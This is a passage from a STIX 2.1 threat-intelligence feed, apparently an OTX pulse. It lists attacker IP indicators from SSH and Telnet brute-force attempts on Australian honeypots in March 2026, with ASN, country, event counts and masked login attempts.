      "pattern": "[ipv4-addr:value = '45.173.37.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--e397478f-c840-4cdc-aea5-61abb58595a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.14.141.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T22:15:08.000Z",
      "valid_until": "2026-04-15T22:15:05.000Z"
    },
    {
      "created": "2026-03-14T22:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria.",
      "id": "indicator--9685ccde-51cc-4164-9f22-0c05ec6e0738",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.96.108.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T22:15:08.000Z",
      "valid_until": "2026-04-15T22:15:05.000Z"
    },
    {
      "created": "2026-03-14T22:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 9617. Organisation(s): JCOM Co., Ltd..",
      "id": "indicator--bf298719-fc5e-480e-bba1-52e19b350ae0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.197.247.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T22:15:08.000Z",
      "valid_until": "2026-04-15T22:15:05.000Z"
    },
    {
      "created": "2026-03-14T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, r**t, **, ***, ***. Passwords observed (masked): 1**4, 3***********4, 3**********4, !**********E, ***.",
      "id": "indicator--09ce3d74-69b5-4a98-952a-7692641daf2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.199.85.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T22:15:08.000Z",
      "valid_until": "2026-04-15T22:15:05.000Z"
    },
    {
      "created": "2026-03-14T22:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--dbd58990-a8fc-458b-9b25-bbc7e57a54ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.133.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T22:15:08.000Z",
      "valid_until": "2026-04-15T22:15:05.000Z"
    },
    {
      "created": "2026-03-14T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): ***, 1**4, 1***5, 1****6, 1*******9.",
      "id": "indicator--8f6613e1-1c41-402c-b72e-4160b7551e8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.11.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T22:15:08.000Z",
      "valid_until": "2026-04-15T22:15:05.000Z"
    },
    {
      "created": "2026-03-14T22:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263075. Organisation(s): TV Cabo de Santo Anastacio Ltda.",
      "id": "indicator--e29d6fe7-9102-4aed-bbb7-7ac0edda2713",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.233.127.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T22:15:08.000Z",
      "valid_until": "2026-04-15T22:15:05.000Z"
    },
    {
      "created": "2026-03-14T22:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263532. Organisation(s): VIAR TELECOMUNICACOES LTDA.",
      "id": "indicator--068865b6-acad-414a-92f4-86be4919fe58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '191.5.48.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T22:15:08.000Z",
      "valid_until": "2026-04-15T22:15:05.000Z"
    },
    {
      "created": "2026-03-14T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--a8761d3b-b2a1-455f-98d2-54ce6723db4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T22:15:08.000Z",
      "valid_until": "2026-04-15T22:15:05.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, s**s, 3**********4, d****e, e****e. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, 1*******a.",
      "id": "indicator--1ddead60-cc41-4242-bc13-1e77175c2e54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.108.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--865f521b-18b2-4154-88d4-17430a1da95e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.21.74.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 197540. Organisation(s): netcup GmbH. Usernames observed (masked): r**t, 3**********4, b***n, c***i, f******t. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, Q********!.",
      "id": "indicator--efac84ad-4936-42af-aec5-cab69888d2c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.195.61.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--a10524b7-fd4c-403d-8d2d-a5918682a13e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.172.105.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 502. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a**x, ***, *, ***. Passwords observed (masked): 1****6, ***, 1******8, a******3, 1**4.",
      "id": "indicator--becee020-3095-4677-86f6-bbe7d516e648",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.131.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--3e09d45a-e745-4c65-b7d4-e4d1030e427a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.105.113.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 3216. Organisation(s): PVimpelCom.",
      "id": "indicator--0667f311-919b-4e6d-9486-2f775d05f104",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.222.172.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 662. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a**x, ***, ***, *. Passwords observed (masked): 1****6, ***, 1******8, 1**4, a******3.",
      "id": "indicator--73d0379b-f5f8-4b3e-958d-6f6aca67cc7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.95.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11351. Organisation(s): Charter Communications Inc.",
      "id": "indicator--a7b89498-16f4-476d-8ad2-781b9da161c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.97.220.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268468. Organisation(s): MXCONECT SERVICOS DE COMUNICACAO LTDA.",
      "id": "indicator--a59a4ea0-aced-457d-b717-23fa1249e757",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.239.202.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--54e03610-bce6-43fd-9464-af7ab677301f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.67.74.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--c58f841e-a00a-425e-a81b-f6aaa736444b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--0ce4a807-31c7-4026-995e-8edb758d3b7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--76092486-8b74-43d7-a2e6-230ef1e3123a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:15:13.000Z",
      "valid_until": "2026-04-15T23:15:11.000Z"
    },
    {
      "created": "2026-03-15T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 10220. Organisation(s): PT. Kreasi Sejahtera Teknologi. Usernames observed (masked): l***g, 3**********4, a***n, a***e, **. Passwords observed (masked): ***, 1**4, 1***5, 1****6, 3***********4.",
      "id": "indicator--15ae84d0-47a3-48c3-a350-41bc8c75067f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.51.214.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:15:13.000Z",
      "valid_until": "2026-04-16T00:15:12.000Z"
    },
    {
      "created": "2026-03-15T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396507. Organisation(s): Emerald Onion. Usernames observed (masked): t****r. Passwords observed (masked): t**********r.",
      "id": "indicator--1e5dca11-7a4c-49f5-83a3-7c56a2408c68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.129.64.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:15:13.000Z",
      "valid_until": "2026-04-16T00:15:12.000Z"
    },
    {
      "created": "2026-03-15T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--2531ebb6-5779-4ae3-b16e-f69a87d0f28b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.103.86.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:15:13.000Z",
      "valid_until": "2026-04-16T00:15:12.000Z"
    },
    {
      "created": "2026-03-15T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--e578f837-bd64-48eb-ba78-f048649ce358",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.126.175.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:15:13.000Z",
      "valid_until": "2026-04-16T00:15:12.000Z"
    },
    {
      "created": "2026-03-15T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--60f4bdbe-b2dd-430f-824d-f6d6840a8dee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.155.110.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:15:13.000Z",
      "valid_until": "2026-04-16T00:15:12.000Z"
    },
    {
      "created": "2026-03-15T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 17378. Organisation(s): TierPoint, LLC.",
      "id": "indicator--0074196e-6b1a-47a3-92a4-8824ff2061e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.249.60.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:15:13.000Z",
      "valid_until": "2026-04-16T00:15:12.000Z"
    },
    {
      "created": "2026-03-15T01:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--113fb9eb-8551-4793-8da9-d1c8dcf34121",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.144.25.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:15:07.000Z",
      "valid_until": "2026-04-16T01:15:05.000Z"
    },
    {
      "created": "2026-03-15T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--1a1fdd98-a134-4805-89b5-3c7dea35ab80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.110.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:15:07.000Z",
      "valid_until": "2026-04-16T01:15:05.000Z"
    },
    {
      "created": "2026-03-15T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a4a28fd7-6b7e-44c0-b1f8-3924e66f58eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.193.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:15:07.000Z",
      "valid_until": "2026-04-16T01:15:05.000Z"
    },
    {
      "created": "2026-03-15T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--1f129f5f-0c45-4ecf-9020-65cb4a749f04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '18.208.181.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:15:07.000Z",
      "valid_until": "2026-04-16T01:15:05.000Z"
    },
    {
      "created": "2026-03-15T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 267843. Organisation(s): TCA SERVICES C.A.. Usernames observed (masked): v*****e, 3**********4, b****x, g*****n, **. Passwords observed (masked): 3***********4, 3**********4, P*********3, b*******3, l****s.",
      "id": "indicator--af7a16ab-e554-4bd4-bde1-eb5ea3b714a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.175.37.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:15:07.000Z",
      "valid_until": "2026-04-16T01:15:05.000Z"
    },
    {
      "created": "2026-03-15T01:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--59753719-8a39-43da-bdab-42ec1f16d3d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.186.71.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:15:07.000Z",
      "valid_until": "2026-04-16T01:15:05.000Z"
    },
    {
      "created": "2026-03-15T02:15:14.000Z",
